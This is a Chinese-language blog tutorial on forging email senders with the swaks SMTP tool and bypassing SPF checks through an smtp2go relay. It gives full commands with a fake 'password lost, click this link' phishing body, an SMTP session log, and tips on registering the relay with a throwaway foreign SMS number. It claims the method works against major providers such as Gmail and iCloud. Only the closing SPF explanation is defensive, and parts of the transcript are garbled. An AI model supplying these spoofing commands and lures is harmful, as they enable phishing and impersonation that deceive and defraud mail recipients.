目录
swaks简介
swaks参数说明
伪造发送
绕过SPF
1.先配置smtp2go
2.伪造邮件绕过
3.SPF验证原理
4.总结
首先了解一下什么是Swaks。
swaks简介
Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护。
目前Swaks托管在私有svn存储库中。官方项目页面是Swaks - Swiss Army Knife for SMTP
下载安装:(kali系统下自带)
swaks参数说明
--to //收件人邮箱地址
--from test@qq.com //发件人邮箱;
--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证
--body "http://www.baidu.com" //引号中的内容即为邮件正文;
--header "Subject:hello" //邮件头信息,subject为邮件标题
--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送
伪造发送
1.发送简单内容,个别邮箱没有SPF拦截,可以直接发送成功,例如网易邮箱,当被拦截后,就需要SPF绕过了,我们后面提到。(qq邮箱无法直接发送)
swaks --to XX@163.com --from gg@moakt.cc(临时邮箱) --ehlo qq.com --body 由于系统故障,导致密 码丢失,请点击如下链接登录平台修改密码。 --header "Subject: 系统故障"
bject: 你好"
=== Trying 163mx02.mxmail.netease.com:25...
=== Connected to 163mx02.mxmail.netease.com.
<- 220 163.com Anti-spam GT for Coremail System (163com[20141201])
-> EHLO qq.com
<- 250-mail
<- 250-PIPELINING
<- 250-AUTH LOGIN PLAIN
<- 250-AUTH=LOGIN PLAIN
<- 250-coremail 1Uxr2xKj7kG0xkI17xGrU7I0s8FY2U3Uj8Cz28x1UUUUU7Ic2I0Y2UFjmjrBUCa0xDrUUUUj
<- 250-STARTTLS
<- 250-SIZE 73400320
<- 250 8BITMIME
-> MAIL FROM:<gg@moakt.cc>
<- 250 Mail OK
-> RCPT TO:<XX@163.com>
<- 250 Mail OK
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Wed, 16 Feb 2022 15:23:42 +0800
-> To: shixin_11@163.com
-> From: gg@moakt.cc
-> Subject: 你好
-> Message-Id: <20220216152342.002000@localdomain.localdomain>
-> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
->
-> 测试效果
->
->
-> .
<- 250 Mail OK queued as mx50,eMCowAA3GpFPpgxiEYhqDA--.2493S2 1644996183
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
qq邮箱被拦截
邮件模板可自行根据实际情况进行修改。导出邮件eml文件。使用--data参数。
2.添加附件
--attach XX.docx
绕过SPF
1.先配置smtp2go
smtp2go主要是相当于邮件托管,可以分发子账户进行发送。
注册地址:https://www.smtp2go.com/
(邮箱注册)普通账户可以免费发1000封邮件。
这时候需要在设置菜单中的uses中新建一个账号,密码可以自动生成或者自己修改。
接着写入一个邮箱地址,点击继续。
输入用户和密码,电话需要填写国外的,找一个国外电话短信接收平台
短信平台:https://ch.freephonenum.com/
进去之后添加用户就可以使用了
2.伪造邮件绕过
--server 邮件服务器
-p 2525 端口号
-au 用户名
-ap 密码
swaks --to XX@XX --from tb@tmail.ws --ehlo XX --body 由于系统故障,导致密码丢失,请点击如下链接登录平台修改密码. --server mail.smtp2go.com -p 2525 -au XX -ap XX
可以给企业邮箱伪造邮件发送,目前是测试邮件,后续继续优化。
为什么会显示代发:
查看原始邮件会发现存在smtp.from以及From字段。smtp.from代表的就是真正发件人,收件服务器会去其代表的域下进行SPF记录校验,From字段是我们自定义的邮件Header字段,如果当两者不一致时,邮件服务商可能会在客户端显示代发,用来提示收件人邮件伪造攻击风险。
3.SPF验证原理
SPF,全称为 Sender Policy Framework,即发件人策略框架。
当前 Email 通信,还是在使用 SMTP 这个协议。SMTP 的全称为 Simple Mail Transfer Protocol,即「简单邮件传输协议」。正如它的名字锁暗示的,SMTP 实际上是一个非常简单(甚至简陋)的传输协议,本身并没有很好的安全措施。根据 SMTP 的规则,发件人的邮箱地址是可以由发信方任意声明的。在 SMTP 协议制定的时候也许还好,但在垃圾和诈骗邮件横行的今天,这显然是极不安全的。
SPF 出现的目的,就是为了防止随意伪造发件人。
SPF 记录实际上是服务器的一个 DNS 记录,原理其实很简单:
假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。
因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;同时他也无法伪造自己的 IP 地址。因此 SPF 是很有效的,当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。
4.总结
经测试,通过swaks 加smtp2go中转服务器可以绕过icloud.com ,aliyun.com,gmail.com,163.com等邮箱的SPF进行邮件伪造。
#本文章借鉴渗透测试中心
————————————————
版权声明:本文为CSDN博主「十三2」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/y995zq/article/details/122963484